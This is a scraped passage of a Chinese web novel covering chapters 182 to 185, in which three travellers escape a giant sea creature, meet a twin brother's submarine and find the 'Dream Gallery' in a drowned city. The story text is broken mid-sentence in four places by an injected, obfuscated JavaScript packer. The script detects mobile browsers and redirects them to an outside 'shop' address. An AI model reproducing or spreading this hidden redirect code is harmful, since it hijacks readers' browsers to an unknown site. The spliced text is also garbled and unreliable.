似乎察觉到肠管内的剧痛,周围的肉壁一阵抽搐,不停收缩,疯狂推挤着肠道内的物体快速下坠。 就这样,萧俨划了几十刀,加快了他们被排出的速度。 …… 一路在肠管内颠颠簸簸,又过了两天。 三人终于脱离了巨型生物体内。 然而,一脱离肠道,池遥就感受到了浑身一阵剧痛,肺部仿佛被一只手死死攥紧,无法呼吸,浑身各处仿佛被成千上万吨重物反复碾压,耳朵里发出尖锐的鸣叫。 最恐怖的是,她似乎坠入了水中,鼻腔,耳道,身体各处都被水灌满。 身体不停发抖,迎着水流阻力强撑着抬起四肢,却还是控制不住地下坠。 很快,她失去了意识。 下坠的身体被一只手紧紧揽住。 萧俨在发现自己进入水中后立刻掏出了一个道具,在他周围制造出一个防护罩,他受的伤没有池遥重,还保有意识,立刻在一片漆黑的水中拉住池遥,把昏迷的池遥拉进了他锁在的防护罩内。 “苏榕!” 紧接着,他开始喊苏榕的名字。 “你在哪里?你没事吧?” 苏榕能变成动物,他并不担心苏榕的情况,只担心苏榕和他们失散。 一边喊,他一边从空间里找出一盏小灯,照亮了周围的环境。 周围是一望无际的黑暗,在昏暗的灯光下,勉强照出了附近游过的鱼群。 萧俨重重锤了两下自己的胸膛,剧烈咳嗽了一会儿,原本就因难以承受深海的压强而受损的身体又是一阵颤抖,才咳出刚刚呛的水。 口中残存的液体泛着强烈的咸腥味。 萧俨抬头看看头顶,头顶仍旧是一片漆黑。 难不成,他们坠入深海了? “我在这里。” 一只拥有漂亮扇形尾巴的银白色小鱼出现在防护罩前。 “苏榕?” 听到萧俨的声音, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17284395|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白色小鱼摆了摆漂亮的尾巴。 萧俨这才放下心,去看怀里池遥的情况。 池遥的情况十分糟糕,她不会游泳,突然进入深海,骤然感受到海水的压强,即便有连体衣的防护,身体也严重受损,此时眼睛,鼻腔,耳朵都在不停流血。 看清她的情况,小鱼焦虑地围绕着防护罩来回游动。 萧俨一手去摸她的脉搏,另一只手去探她的呼吸,许久,才放下手,松了口气。 “还活着。” 池遥的伤过于严重,萧俨虽然强打精神,身体也受了重伤,只是没有表现出来,确定了池遥的情况,他深深吸了口气,开口,语速很快。 “苏榕,我的防护罩是一次性保命道具,最多只能坚持五分钟。我刚才看了一下,我们恐怕在深度至少百米,而且很有可能已经是千米的海水里,五分钟内根本没法游到海面,你有没有什么办法?” 他现在根本没有余力去救治池遥,就算把池遥唤醒,五分钟一到,防护罩消失,他和池遥还是要葬身海底。 普通人的身体根本无法抵御深海之下的压强,就算是身体经过强化的天赋者,也只是比普通人多挣扎几秒罢了。 听了萧俨的话,苏榕没有立刻回答。 他突然朝着远离防护罩的方向游动,很快就消失在萧俨的视野当中。 过了一分钟,萧俨才看到小鱼重新游回来的身影。 “我有办法了。” 苏榕的话音刚落,眼前的小鱼突然消失了。 取而代之的,是一只身形巨大,几乎有两层楼高,看起来与鲸鱼相似,但嘴更大,看起来更凶悍的海洋生物。 这条鲸鱼张开血盆大口,将包裹着萧俨和池遥的防护罩包进了口中。 进入口腔后,萧俨才发现,苏榕变成的鲸鱼虽然体型庞大,但嗓子眼却格外狭窄,根本无法吞下人类,只能吞吃一些小鱼小虾。 它吞下和防护罩一起涌进口中的海水,口腔中只剩下一个防护罩。 很快,防护罩破裂,萧俨将池遥平放在脚下的“地面”上,屈身跪在池遥面前,有力的手狠狠按压了一下池遥的肺部。 池遥的肺部受损最为严重,萧俨的动作反而在加重她的伤情,但萧俨的目的并非缓解疼痛,而是加剧痛苦,让她自行醒来。 一下。 两下。 ...... 不知道按压了多少下,昏迷的人突然弯折起身体,不停地咳嗽起来,咳嗽间隙呛出混杂着血液的海水。 池遥终于有了些许意识。 眼睛看不到了,耳边也只剩下尖锐的轰鸣,喉咙似乎烧起来了,不停流血,浑身剧痛之下,她只能凭借着最后一丝力气,释放出掌心的治愈能力,拼命为自己治疗。 好一会儿,才终于恢复,睁开眼睛打量四周。 萧俨撑着身体坐在她身旁,一双异瞳紧盯着她,脸色白得像鬼。周围还是一片深红色的肉壁,只不过逼仄了不少,池遥明明记得他们已经逃了出来,可此时的环境证明,他们似乎还在什么生物的体内。 四处都见不到苏榕的身影,他似乎不见了。 思维一片混乱,池遥来到萧俨身边,一伸手打探才发现,萧俨的伤势比她想象中还要严重,立刻治好了萧俨的伤,才开口问。 “发生了什么?” 183. 深海2 “这里是深海,深度不明,鲸都建在一个海洋生物胃里。” 萧俨忍着伤口快速愈合的剧痛,向池遥交待现状。 “苏榕现在变成了一条...呃...巨大的鱼?我们被它含在嘴里。” 借着昏暗的光线,池遥左右打量了一番,果然,四周都是红色的肉壁。 算了,都从巨型生物的肠道里走一遭了,被苏榕含在口中也不是什么大问题。 “池遥,你还好吗?” 空间里响起苏榕的声音,由于空间狭窄,声音震耳欲聋。 变成动物后,苏榕仍旧可以正常开口说话。 “我已经把自己治好了,你怎么样?”池遥问他。 “没事,我刚接触到水就变成鱼类了。” 或许是因为此时处于苏榕口中,他的声音质感听起来很沉闷。 “苏榕,尽可能朝上游,我们到海面上看看什么情况。” 池遥开口。 “我已经尽可能在上浮了。” 漆黑的海水之中,纯白色的鲸鱼拼命向上游动,然而,无论过了多久,头顶的海面仍旧一片黑沉,连一点光线都透不进来。 这究竟是多么深的海底? 不对,在他们刚进入水中时,池遥和萧俨没时间探索身边的环境,苏榕变成的小鱼却用最快的速度打量了周围的环境。 他能感觉到,此处并非海底。 他们究竟处于什么深度? 难不成在几万米的海水之下? 那样也不对,如果真的是万米深的海中,人体根本抵抗不住海水的压强,池遥和萧俨肯定第一时间就丧命了,不可能还有时间启用道具。 池遥从空间吊坠里找出一块钟表,调到十二点整,用作计时。 然后又拿出两包补剂,递给萧俨一包。 足足四天没有进食,他们的身体急需补充能量。 离开了鲸都,补剂就失去了其他效果,只剩下饱腹的作用,反而变成了最方便的食物。 吃完补剂,池遥想到同样挨饿四天的苏榕,拿出一包新的补剂,犹豫不决。 “我拆开一包补剂倒到你的喉咙附近,你直接吞咽下去?” “不需要,我的身体素质和你们不一样,我变成动物期间是不需要进食的。” 苏榕立刻拒绝。 听到苏榕拒绝,池遥也松了口气。 苏榕继续向上游去,池遥和萧俨看不到外界,苏榕就把自己看到的景象描述给他们听。 只不过,也没什么可说的。 海底没有光线,苏榕能看到的部分不远,也只能描述从他眼前游过的各种生物。 就这样,池遥迷迷糊糊睡了一觉,醒来时,听到了苏榕的声音。 “有光线透进来了,应该快到海面上了!” 她立刻打起精神。 头顶的海面颜色逐渐变浅,苏榕心中的喜悦愈发高涨,奋力朝着上方游动。 很快,他攒足力气,一跃而上,从海面上飞跃而起,在空中划出一个漂亮的抛物线,再次落入海水当中。 “怎么样?外面什么情况?” 池遥感受到了一阵颠簸,迫不及待开口。 然而,隔了许久,也没得到苏榕的回应。 “我说不好......” 苏榕的语气有些怪异。 “我这副形态,不太方便看东西,反正已经到海面上了,不如你们出来亲自看看?” 池遥有些抗拒。 她自小在内陆地区长大,从未下水,对游泳更是一窍不通。 眼下这种情况,根本无法从苏榕口中出去。 而萧俨和她同在一个空间,若是池遥不愿离开,萧俨同样无法从苏榕口中出去。 “有游泳装备吗?” 最终,池遥在自己的吊坠里翻找了一会儿,问一旁的萧俨。 萧俨倒是会游泳,只是他似乎也不常下水,空间内连套救生衣都没有。 两人一起沉默了一会儿。 “这样。” 苏榕再次开口。 “我先把你们放出去,然后再用头把你们顶到海面上,你们暂时把我当成一个移动的落脚点,如何?” 这简直是最好的办法了。 接下来,苏榕张开口,池遥和萧俨二人被突然涌入的海水卷走,她屏息凝神,在水中努力扑腾四肢,尽量减缓下沉速度,一旁的萧俨示意她拉着自己的衣服。 只不过,不到一分钟,从他们脚下浮上一片阴影,紧接着,一只巨大的鲸鱼从海水中探出一小块头顶,正好位于他们脚下,把池遥和萧俨两人顶到了海面上。 坐在苏榕的鲸鱼脑袋上,池遥茫然地环视着四周。 头顶是熟悉的蓝天。 举起手,能感受到阳光照射在皮肤上的热度。 这一次,她终于看到了真正的天空。 然而,举目四望,除了一望无际的海面,蔚蓝的天空,她什么都看不见,也找不到。 她看不到陆地的痕迹。 …… 接下来,三人漫无目的地在海面上漂游。 苏榕托着池遥和萧俨,一路向前游动。 然而,度过了整整七个日夜,眼前的一切却仍旧没有任何变化。 无边无际的海。 似乎全世界都变成了一片汪洋,而在这个世界中存活下来的人类,就只剩下了池遥和萧俨三人。 在这样的环境里,人很容易就陷入寂寥的阴影中,幸好池遥身边有伙伴的陪伴。 池遥和萧俨用空间里的杂物做了一个小小的木筏,只够两人乘坐,为了防止下沉,在木筏两侧各绑了两个塑料盆。 平日里大部分时间还是在苏榕头顶,只在苏榕休息时转移到木筏上。 不仅如此,池遥还自制了简陋的鱼竿和鱼饵,萧俨对此一窍不通,是池遥凭借自己以前看钓鱼佬番剧的记忆手搓出来的,居然真的钓到了一条小鱼。 只不过,小鱼的外形有几分诡异,担心有问题,池遥还是放弃了食用,把小鱼丢回了海里。 她和萧俨仍旧靠摄入补剂维持生命体征。 从鲸都带出来的补剂还能坚持很长时间,两人并不为此发愁。 太阳高悬的时候,池遥从空间里翻出各种杂物,琢磨着可不可以进一步增强她的木筏和钓竿,又或者做出其他的新东西。 夜晚,他们一起躺在木筏上,望着月色与星星发呆。 池遥和萧俨待在木筏上的时候,苏榕有时候会变成小猫,静静蜷缩在池遥的怀里,三人一起惬意地发一会儿呆。 某一天,池遥低头看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17294126|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 向海面时,突然发现脚下的海面颜色变深了。 他们似乎处于一片阴影之上。 为此担惊受怕了好几天,终于离开了危险的阴影区。 到了第二天,池遥脑海中还在回忆那片阴影。 平日全速向前游动时,苏榕的速度极快,然而,却还是用了好几天才脱离阴影区。 那片阴影究竟是多大的生物? 他们继续向前行进,每晚在天幕上闪烁的星斗为他们指路。 然而,无论过了多久,始终看不到任何陆地,连一小块地面都没有出现。 苏榕在海面下游动,告诉池遥,这段时间也没有在海面下发现被淹没的陆地。 整个世界都沦为一片汪洋。 体验了一段时间漂流生活后,某一天夜里,他们躺在木筏上看星星。 一片漆黑的天幕之中,突然从远方的地平线向上,升起一串耀眼的金色火星。 紧接着在夜空中燃烧了起来,足足燃烧了十几秒,才彻底燃尽,落了下去。 天空又恢复了一片漆黑。 然而,池遥和萧俨却惊呆了。 这串火星的光芒过于耀眼,不仅如此,他们亲眼目睹了火星从远方地平线上升到空中再燃烧落尽的全过程,这不可能是自然现象,只有一种可能。 这片海面之上还有其他人。 看到这串火星时,池遥心中立刻涌上了一个念过太多次的名字。 曲卓。 但很快,她立刻意识到,这个信号恐怕不是曲卓放的。 在池遥刚到鲸都的几个月前,曲卓就已经来到鲸都了,他们之间存在漫长的时间差,并且这段时间差还在不停被拉长。 而且,如果鲸落世界真的只剩一片汪洋,那么曲卓还是早些离开的好。 “可能是我弟弟。” 萧俨开口。 “他身上的道具很多,无论什么环境下都能保住性命,这说不定是他给我发出的信号。” 无论对方是不是萧俨的弟弟,都得找到那个发信号的人才行。 苏榕鲸鱼一鼓作气,载着两人,朝火星升起的方向游去。 天亮的时候,他们远远望见,前方的海面上多了一个影子。 一艘造型别致,四面密闭,将近二十米长的长条形小艇,出现在了海面上。 四周不见人影,看来发射信号的人,也就是这艘小艇的主人正在小艇内部,不知道有没有注意到他们的存在。 池遥和萧俨回到木筏上,苏榕也变成小猫钻进她怀里。 木筏慢悠悠地前进,用了几十分钟才接近小艇。 这时,小艇顶部的舱门突然打开了,一个人影从小艇中探身上来。 随着对方逐渐露出全部身形面容,池遥扭过头,惊讶地望着身旁的萧俨。 从小艇中出来的,是一个身高长相与萧俨一模一样的男人。 只是,他的气质与萧俨截然不同。 池遥至今不太清楚萧俨的真实性格,萧俨平时爱笑,气质偏活泼一些,又长着一张十八岁的脸,显得开朗又无害。 然而,萧俨的双胞胎弟弟萧燃与他截然相反。 这位青年神色漠然,一双晦暗的幽绿色眼眸如同正在捕猎的狼一般,冰冷无情。 简直冷峻到了极点。 184. 深海3 萧俨和萧燃,身为双胞胎兄弟,气质却截然相反。 萧俨是一个洋溢着笑意的开朗美少年。 萧燃则是一个寡言少语的冷酷男子。 乍一重逢,萧燃冷着脸,目光警惕地打量着萧俨身边的池遥,一言不发。 于是,萧俨带着热烈的笑意,主动抬手打招呼。 “好久不见啊,萧燃,总算找到你了。” 说到后半句的时候,音量特意放大了一些,萧燃立刻蹙起了眉,面露不耐。 “这是我刚认识的同伴池遥,人很不错,这么久不见,不请我们去你的游艇上坐坐吗?” 萧俨似乎完全没注意到萧俨愈发阴沉的面色,拉着池遥的手热情介绍。 “哦对,你看出来了吧,这是我弟弟萧燃,他脾气很不好,你多担待一下,但如果他惹你不开心了,可不要迁怒给我噢!” 池遥点点头,又抬起头,看向站在小艇上,黑沉着一张脸的萧燃。 萧燃看起来很受不了萧俨,这对双胞胎兄弟的关系似乎没有萧俨口中那么和谐。 “潜艇。” 待萧俨说完,萧燃开口。 他的音色也与萧俨相似,比萧俨声调更低,更清冷一点。 萧俨:“什么?” 盯着摸不着头脑的萧俨,萧燃似乎很受不了地叹了口气。 “不是游艇,这是潜艇。” “一字之差呀,你能明白我的意思就好。”萧俨满不在乎地伸手揽过池遥的肩膀,手臂绷紧,带着她纵身一跃,疾速落在潜艇顶部。随后放开池遥,动作自然地掀开舱门,轻盈地跳进了潜艇内部。 而被留在潜艇顶部的池遥与对面的萧燃面面相觑。 这对兄弟的五官生得过于权威了,无论做出什么样的表情,气质如何,都各有美感。 萧燃习惯绷紧面目,显得那张精致漂亮的面孔上覆了一层寒霜,冷冽又锋利。 同样的五官,在萧俨脸上,显得更加俊美,在萧燃脸上,显得更加锐利。 除了一点。 萧俨的双眼是漂亮又独特的异瞳。 而萧燃则有一双幽绿色的眼眸。 沉默了几秒,没有一个人主动开口。 池遥心里有点不知所措,萧燃的潜艇,萧俨问都不问一句就下去了,这倒没什么,毕竟他们是世界上最亲密的兄弟。 但她怎么办呢? 萧燃会允许她进入这艘潜艇吗? 要不然委婉地问一下? 正在脑海中思考,池遥忽然看到,面无表情的年轻人抬手指了指脚边的舱门。 “你不进?” “啊......我可以吗?” 萧燃没回应,这就是默认了,池遥立刻单手抱着猫,另一手抓着舱门下的梯子,沿着梯子爬了下去。 萧俨就在梯子旁等她,池遥落地后,萧燃单手抓着舱门把手,纵身跳进潜艇内,同时关紧舱门。 “这是萧燃手上最高级的道具,可以变成适宜环境的庇护所。有了这个道具,他可以在任何环境之下存活。” 萧俨主动开口,给池遥介绍弟弟的庇护所。 他看起来也是第一次来到道具变成的潜艇庇护所,兴奋地带着池遥四处查看,萧燃跟在他们身边,惜字如金地介绍。 看起来体积不大的潜艇内部别有洞天,驾驶室不大,最多容纳两个人,可以随时切换成自动驾驶功能。驾驶室后是一间宽敞的大厅,大厅侧面的一整面墙被改装成大屏幕,连接着潜艇外壁的监控器,可以从大屏幕上看到海下的实时监控,监控画面亮度被调高,潜艇周围的一切清晰可见。 大厅后的走廊内分隔出了各种不同功能的小房间。除了一些必备的设备房之外,还有三个内部设施完备,酒店标间规格的小房间,萧俨和萧燃各一间,最后一间分给了池遥。 走廊尽头,是相对的两个小房间。 “浴室。” 萧燃打开房门,是一个干净的淋浴房。 说完,他没动,目光直直看向池遥和萧俨二人,久久不曾移开。 池遥不由地打量着萧燃的穿着。 萧燃穿着一套崭新的纯黑色防风套装,显得冷酷干练。外套里面是一尘不染的白色内衬。 与刚从巨型生物体内逃出的池遥和萧俨比起来,有些过于洁净了。 池遥能明显感觉到,萧燃盯着她和萧俨的目光隐隐有些嫌弃。 他仔仔细细把池遥和萧俨打量了一番,脸上的嫌弃之色愈发明显,紧接着,伸出手,把池遥怀里纯白色的小猫拎走了。 苏榕发动能力变成动物时,无论本人状态如何,变成的动物形态永远洁净无瑕。 纯白色,一尘不染的小猫被池遥抱在怀里,显得她更狼狈了。 “除了这只猫,”萧燃拧着眉头,说出了池遥认识他以来说出的最长句。 “这两间都是浴室,你们两个,现在立刻马上,赶紧进去给我洗干净再出来。洗不干净就别留在我的潜艇里了!” 池遥被萧燃一把推进浴室,门在身后“嘭”一声关紧。 另一边的萧俨待遇更差,被萧燃一脚踹进了对面的浴室。 不顾白色毛团的剧烈挣扎,面无表情的青年拎着小猫的后颈,穿过走廊,把小猫丢在了柔软的转角沙发上。 “变回去。” 语气中的命令意味十分明显。 显然,他已经看出了苏榕的人类身份。 下一秒,沙发上的小猫消失得无影无踪,取而代之的是一个翘着脚坐在沙发上的清秀少年。 萧燃对此毫不意外,上下打量了他一番,见苏榕看起来干净整洁,紧蹙的眉头微微舒展了一点。 “他们知道你是人类吗?” “当然知道了。” 苏榕朝着走廊的方向看了一眼,远远地,能听到浴室的水声,池遥和萧俨大概不知道大厅发生的事。 萧燃点点头,不再过问,从苏榕身边走开,独自进了驾驶室。 停驻在海面上的潜艇再次启动,慢慢下潜。 …… 时隔多日,池遥终于再次体会到了淋浴的幸福。 她畅快地洗了个澡,换上了全新的衣服,细致地将长发吹干。 自末日降临到现在,她的头发已经超过腰际了,清理起来很麻烦,披散在肩上也有些碍事,只好拢起来扎成马尾。 收拾好一切,她已经在浴室里待了一个多小时,走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17302062|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出浴室,看到大厅墙壁上的监控屏幕,才发现,潜艇已经启动了,此时潜艇已经潜入海中,监控屏幕上全是四周的鱼群。 不愧是道具变成的潜艇,潜艇内部稳定得和陆地上没有任何差别,根本感觉不到潜艇在前进。 萧俨也换上了一身干净的白衣,坐在大厅的沙发上,苏榕仍旧是小猫形态,安静地蜷在转角沙发另一侧。 “你出来啦。” 看到池遥的身影,萧俨立刻出声。 听到大厅里的声音,萧燃从驾驶室里走出来,拉过一枚沙发凳,坐在了萧俨对面。 池遥则坐在了苏榕身边,顺手把苏榕拎到了膝盖上,看看驾驶室大门,又看了一眼身边的萧燃。 萧燃:“有自动驾驶。” 那就没问题了。 三人围坐在茶几前,池遥习惯性找出纸笔放在桌上,一起交流起了这个世界的情况。 萧俨和池遥将鲸都的情况告诉了萧燃,萧燃同样把自己的经历告知二人。 “我刚进入这个世界,就到了海上。” 与萧俨和池遥的经历不同,萧燃的经历只用几句话就可以概括。 通过景点去下一个小世界时,会传送到下一个世界的随机地点,池遥,苏榕和萧俨被传送到了鲸都内部,而萧燃则被传送到了海面上。 “这个潜艇也可以在海面上前行,刚到这里时,我一直在海面上航行,每隔五天就发送一枚信号。” 池遥明白了,她和萧俨看到的那串火星就是萧燃发送的信号。 “但是,无论航行多远,从未发现陆地,只有海面,除此之外什么都没发现。” 说着,萧燃抬起头,看了萧俨一眼。 “之后,我又开始下潜,但海底比我想象中更深。我担心你的情况,每隔五天还要浮上来发信号,一直没有探测到海底。” 听完萧燃的话,池遥回想起她和萧俨这段时间在苏榕鲸鱼头顶见到的情况。 的确,他们从未见过陆地。 难不成这个世界根本没有陆地吗? 可是,想到故乡中也存在宽度长达两万公里的大洋,池遥又在想,会不会是他们碰巧处于一段面积极为广阔的海域,只是没有经过陆地而已? 她立刻提出自己的疑问。 “自动驾驶的航速是每小时六十公里,手动驾驶最快能达到每小时一百公里。” 萧燃在白纸上写下了一串具体数字。 “我在海上航行了足足二十天,每隔五天在原地休整一晚,都没见过,也没探测到任何陆地。” 池遥在脑海中过了一遍萧燃给出的数字,心渐渐冷了下去。 在她的故乡,萧燃航行的长度差不多能环赤道一圈了。 “所以,你的意思是,这个世界根本没有陆地?” 萧燃点头。 “可能是根本不存在陆地,也有可能是,所有陆地都被海水吞没了。” 萧俨补充道。 “这个世界已经沦为一整片海洋,所以,如果过去存在城市的话......” 他沉着脸,缓缓说出了自己的推测。 “鲸落世界的末日恐怕是是海平面上升,最后吞没了整个世界。” 185. 深海4 整个鲸落世界,此刻已经沦为一片汪洋。 因此,他们要找的梦之画廊,应该也在这片水世界之中。 “池田司说过,我们要去的景点就在鲸都之外,应该就在这个空间里。” 池遥主动开口。 “如果和我们猜测的一样,末日前的城市建筑全部被海水淹没的话,我们是不是应该去海底寻找景点?” “潜艇现在正在下潜,我们至少需要五天才能抵达海底。” 萧俨指指屏幕上的监控画面。 的确,从画面看去,他们所乘坐的潜艇视角在不停下降。 萧俨:“这艘潜艇最深能到多少米?” 萧燃有些奇怪地看他一眼。 “这是道具打造的潜艇,没有任何限制。” 正因为是道具潜艇,因此,他们无需顾及潜艇的能源,动力,承受力。 甚至不需要考虑发生意外的可能性,这艘潜艇无法被其他海洋生物察觉到。 只要待在潜艇内部,乘客就是绝对安全的。 熬了一整夜,池遥很快就带着小猫回了房间。 潜艇内的客房空间不大,有着一张舒适的床铺,一面实时显示外部环境的屏幕充当窗户,床对面则是一排低矮的储物柜,储物柜上摆放着坐垫和桌台,在有限空间内保证了舒适性。 池遥迅速钻进被子里,小猫也习惯性窝在了她的枕边,渐渐进入梦乡。 …… 大厅内,萧俨仍旧坐在沙发上,不知道在想什么。 萧燃倒了两杯水,将其中一个杯子推到萧俨面前。 “你不是在追那人吗?池遥又是什么情况?” “他太警觉了,我还没追到,就去到下一个世界了。到了新世界又得从头再找,麻烦得很……”萧俨叹了口气,“至于池遥......我之前追寻他的线索时,发现他和池遥之间,交集很深。” “只要一直跟在池遥身边,就不愁找不到他。” 萧燃侧头看他一眼,点了点头,没说话。 “还有一件事,池田司索要报酬的时候,拿走了我身上最珍贵的宝石,幸好我还有备用,不过也只有一枚,你那里还有多余的宝石吗?” 萧俨闭上眼,抬手捂住双眼,长叹一口气。 萧燃摘下脖子上的空间吊坠,扔给他。 “她不知道?” 萧俨:“谁啊?” 萧燃:“池遥。” 萧俨:“我告诉她那个干什么?” 他低着头,额前的发丝掩住了异瞳中闪烁的神色,细长的手指握住玻璃杯,漫不经心地轻轻晃着,说话时语气散漫又冷淡。 萧燃瞥他一眼,转换了话题。 “通过梦之画廊之后,我就不和你行动了。” “你的假期结束了?” 萧俨抬起头,盯着他看。 萧燃点点头,转身又进了驾驶室。 萧俨独自靠在沙发靠背上,将冰冷的玻璃杯杯壁贴在酸胀不堪的左眼处,不说话了。 …… 在潜艇内的生活安逸又舒适。 萧燃对池遥的态度颇为冷淡,大多时间躲在驾驶室内,和池遥没什么交集。 在生活中与她交往最深的仍旧是萧俨。 不需要穿连体衣后,萧俨向池遥展示了他空间内数量极多,风格各不相同的服饰,一天一个风格换着穿,大大造福了池遥的眼睛。 他似乎极擅长跟着池遥玩乐,很快就跟着池遥学会了五子棋和各种桌游。 池遥每天大部分的时间都是和萧俨一起度过的。 和招摇的萧俨不同,萧俨的双胞胎弟弟萧燃总是安静而沉默,非必要不开口,似乎总是对池遥有种淡淡的敌视,池遥一直不明白理由,但萧燃从不对她出手,也不主动靠近她,两人保持着微妙的距离,也算是相安无事。 某一天,潜艇突然发出了尖锐的警报声。 潜艇探测到附近出现了一只巨型生物。 在监控画面中,只能看到一片黑漆漆的阴影,根本看不见全貌,用特殊探测器才检测出了它的外形。 这是一只巨大的鲸。 探测器无法显示出它的具体大小,然而,由于这只鲸挡住了它们的下潜路线,他们全速向前航行了三天,才终于脱离了它的身体范围。 这是一只遮天蔽日,截面面积堪比一座大型城市的鲸。 它的体型实在太大,色泽又是深灰色,映得一整片区域的海水颜色都变深了。 潜艇里的警报器响了好几天,远离这只鲸鱼后,几人才松了一口气。 而池遥则想起了还没遇上萧燃之前,她和萧俨两个人坐在小鲸鱼苏榕头顶时的经历。 他们似乎也在一大片阴影区域内航行了好几天。 现在看来,那片阴影大概就是那只遮天蔽日的巨鲸造成的吧。 那么,鲸都是不是也建在这种鲸鱼的胃里呢? 不知过了多少天,潜艇终于来到了海底。 与他们的推测相同,这个世界的城市原本建在陆地上,只是在不知多少年前被海水淹没,而此时,通过潜艇外的监控摄像头,池遥终于窥见了这个世界的一角。 海底是成片成片的城市废墟。 倒塌的高楼,已经很难看出原型的街道,无论从什么角度看,都能发现,海底是一座科技化的现代都市。 潜艇没有抵达海底最深处,而是在能拍摄到的距离放慢速度潜行。 每一座城市的规模都不大,城市分布十分分散,能看出在被淹没之前,是成片的岛屿组成的国家。 无论曾经有多繁华,此时也只剩下了一片海底废墟。 往日气派恢弘的建筑,此时已经被海水腐蚀得看不出原状,外部吸附了一层又一层的藻类生物。 这些废墟城市的建筑风格与鲸都相似。 池遥闭上眼睛,回忆起和萧俨在鲸都的所见所闻,深深叹了口气。 她似乎能够理解鲸都的制度了。 面临即将吞没全世界的海水,人类无处可去,无处可躲。 铤而走险,在巨鲸胃中建立新城邦,与巨鲸共存的确是一个让人类不至于灭绝的办法。 鲸都极度重视繁衍,想必也是为了人类物种能够继续存活。 至于大批处死罪人和老人,大概是为了让巨鲸体内一直有食物可供消化,以此来维持巨鲸胃部的稳定。 鲸都百姓不知道鲸都的真实处境,更无法理解他们所处的环境,在不见天日的巨鲸胃里度过短暂一生。 而掌控一切的皇室恐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17313903|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怕是仅存的知情者。 见到海底的废墟后,池遥渐渐能够明白鲸都各种制度背后的逻辑,可情感上却仍旧无法赞同。 鲸都是一个不可挽回的死局。 如果不维持这种病态的制度,就没办法保证物种延续。 如果寻求突破离开巨鲸胃部,在这片汪洋中同样无法存活。 她长叹一口气。 想不到任何能拯救鲸都的办法。 天灾不可逆转,末日不可挽回。 普通人束手无策,而能力者所能够避开末日的唯一办法,也不过是藉由景点逃往下一个小世界。 此时,池遥才终于明白,伊甸对于能力者的重要性。 末日是所有小世界无法避免的必然结局,而伊甸却是唯一一个不会迎来末日的小世界,仿佛沙漠里的绿洲,令人趋之若鹜。 没有任何隐患,不必担惊受怕,可以自由,随性活着的世界。 怪不得大部分旅人都在追寻伊甸。 潜艇经过一座又一座失落的城市,渐渐地,潜艇里的四人也习惯了摄像头中的画面。 这空空荡荡的鲸落世界,除却巨鲸胃中的人类,恐怕只剩下了他们四人。 这一天,池遥从睡梦中醒来,突然听到了敲门声。 “池遥!” 是萧俨的声音。 她急忙离开房间,大厅的屏幕上,隐隐能看到,远处的海水折射着微弱的光线。 周围似乎有什么发光的物体。 萧燃解除了自动驾驶,亲自驾驶着潜艇,朝着光源处驶去。 屏幕画面越来越亮。 几个小时候,潜艇终于追踪到了光源。 这是一处完全没有受到损伤的建筑,纯白色外墙,体积很大,从上方望去,整体呈漂亮的不规则流线型,似乎是一个巨大的场馆。 它似乎建在郊外,周围没有什么景物,周围覆盖着一个巨大的彩色薄膜,将它与周围的海水隔绝开来。 而此时,这个场馆通体散发出强烈的白光,仿佛为附近的生物指引方向一般,照亮了附近的海域。 萧俨调整了一番摄像头角度,拉近距离观察这座建筑。 终于,他们看到了白色场馆正门牌匾上的四个大字。 梦之画廊。 这正是他们的目的地,梦之画廊。 萧燃驾驶着潜艇,小心翼翼地在海底着陆,放慢速度贴地前行,整个潜艇慢慢挤进了薄膜之内。 果然,包裹着梦之画廊的薄膜隔绝了海水,一进到薄膜之内,萧燃立刻开启舱门,整装完毕的萧俨率先从潜艇内爬出来,紧接着是池遥,苏榕变成小猫形态趴在她肩上。 萧燃最后一个出来,同时将潜艇变回道具形态,收进了空间吊坠里。 池遥才发现,萧燃的道具外观类似水晶球,恢复道具形态时,水晶球内部会封存一个小小的潜艇,使用时只需要摔碎水晶球即可。 真是个强大的道具。 她默默移走目光,跟在萧俨身后,朝着梦之画廊场馆走去。 